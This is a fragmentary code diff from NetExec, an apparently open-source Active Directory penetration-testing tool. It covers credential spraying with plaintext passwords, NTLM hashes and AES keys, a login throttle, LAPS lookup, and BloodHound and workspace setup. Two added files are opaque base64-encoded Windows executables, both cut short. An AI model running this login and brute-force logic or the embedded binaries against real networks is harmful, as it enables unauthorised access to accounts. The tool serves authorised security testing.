cred_type.append('plaintext')
cred_type.append("plaintext")
# Parse NTLM-hashes
if hasattr(self.args, "hash") and self.args.hash:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash, 'r') as ntlm_hash_file:
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append('hash')
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append('hash')
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
for aesKey in self.args.aesKey:
if isfile(aesKey):
with open(aesKey, 'r') as aesKey_file:
with open(aesKey) as aesKey_file:
for line in aesKey_file:
secret.append(line.strip())
cred_type.append('aesKey')
cred_type.append("aesKey")
else:
secret.append(aesKey)
cred_type.append('aesKey')
cred_type.append("aesKey")
# Allow trying multiple users with a single password
if len(username) > 1 and len(secret) == 1:
@@ -358,6 +442,8 @@ class connection(object):
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
- NTLM-hash (/kerberos)
@@ -367,31 +453,43 @@ class connection(object):
return False
if self.args.continue_on_success and owned:
return False
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == 'plaintext':
if cred_type == "plaintext":
if self.args.kerberos:
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
self.logger.debug("Trying to authenticate using plaintext with domain")
return self.plaintext_login(domain, username, secret)
elif self.args.protocol == 'ssh':
elif self.args.protocol == "ssh":
self.logger.debug("Trying to authenticate using plaintext over SSH")
return self.plaintext_login(username, secret, data)
else:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == 'hash':
elif cred_type == "hash":
if self.args.kerberos:
return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == 'aesKey':
return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
elif cred_type == "aesKey":
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
def login(self):
"""
Try to login using the credentials specified in the command line or in the database.
"""Try to login using the credentials specified in the command line or in the database.
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
"""
@@ -423,6 +521,7 @@ class connection(object):
data.extend(parsed_data)
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""
@@ -430,6 +529,13 @@ class connection(object):
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
@@ -449,3 +555,12 @@ class connection(object):
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
-4
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import configparser
import os
@@ -18,4 +15,3 @@ class Context:
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.log = logger
# self.log.debug = logging.debug
@@ -0,0 +1 @@
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 truncated
+1 -1
View File
@@ -13,7 +13,7 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
bh_pass = bloodhoundcommunityedition
[Empire]
api_host = 127.0.0.1
+1
View File
@@ -0,0 +1 @@
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 truncated
+97
View File
@@ -0,0 +1,97 @@
import sys
import configparser
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
from os import mkdir
from os.path import exists
from os.path import join as path_join
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
def open_config(config_path):
try:
config = configparser.ConfigParser()
config.read(config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
return config
def get_workspace(config):
return config.get("nxc", "workspace")
def set_workspace(config_path, workspace_name):
config = open_config(config_path)
config.set("nxc", "workspace", workspace_name)
write_configfile(config, config_path)
print(f"[*] Workspace set to {workspace_name}")
def get_db(config):
return config.get("nxc", "last_used_db")
def write_configfile(config, config_path):
with open(config_path, "w") as configfile:
config.write(configfile)
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
+8 -24
View File
@@ -1,12 +1,9 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from os import mkdir
from os.path import exists
from os.path import join as path_join
import shutil
from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.nxcdb import initialize_db
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.database import initialize_db
from nxc.logger import nxc_logger
@@ -14,10 +11,10 @@ def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(nxc_PATH):
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(nxc_PATH)
mkdir(NXC_PATH)
folders = (
"logs",
@@ -28,30 +25,17 @@ def first_run_setup(logger=nxc_logger):
"screenshots",
)
for folder in folders:
if not exists(path_join(nxc_PATH, folder)):
if not exists(path_join(NXC_PATH, folder)):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(nxc_PATH, folder))
mkdir(path_join(NXC_PATH, folder))
initialize_db(logger)
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, nxc_PATH)
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# logger.display('Generating SSL certificate')
# try:
# check_output(['openssl', 'help'], stderr=PIPE)
# if os.name != 'nt':
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
# else:
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
# except OSError as e:
# if e.errno == errno.ENOENT:
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
# default_path = path_join(DATA_PATH, 'default.pem')
# shutil.copy(default_path, CERT_PATH)
# else:
# logger.error('Error while generating SSL certificate: {}'.format(e))
# sys.exit(1)
+10
View File
@@ -0,0 +1,10 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
+1 -3
View File
@@ -1,9 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from nxc.paths import DATA_PATH
def get_script(path):
with open(os.path.join(DATA_PATH, path), "r") as script:
with open(os.path.join(DATA_PATH, path)) as script:
return script.read()
+78 -32
View File
@@ -1,18 +1,32 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def add_user_bh(user, domain, logger, config):
"""Adds a user to the BloodHound graph database.
Args:
----
user (str or list): The username of the user or a list of user dictionaries.
domain (str): The domain of the user.
logger (Logger): The logger object for logging messages.
config (ConfigParser): The configuration object for accessing BloodHound settings.
Returns:
-------
None
Raises:
------
AuthError: If the provided Neo4J credentials are not valid.
ServiceUnavailable: If Neo4J is not available on the specified URI.
Exception: If an unexpected error occurs with Neo4J.
"""
users_owned = []
if isinstance(user, str):
users_owned.append({"username": user.upper(), "domain": domain.upper()})
else:
users_owned = user
if config.get("BloodHound", "bh_enabled") != "False":
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
# we do a conditional import here to avoid loading these if BH isn't enabled
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
@@ -26,30 +40,62 @@ def add_user_bh(user, domain, logger, config):
encrypted=False,
)
try:
with driver.session() as session:
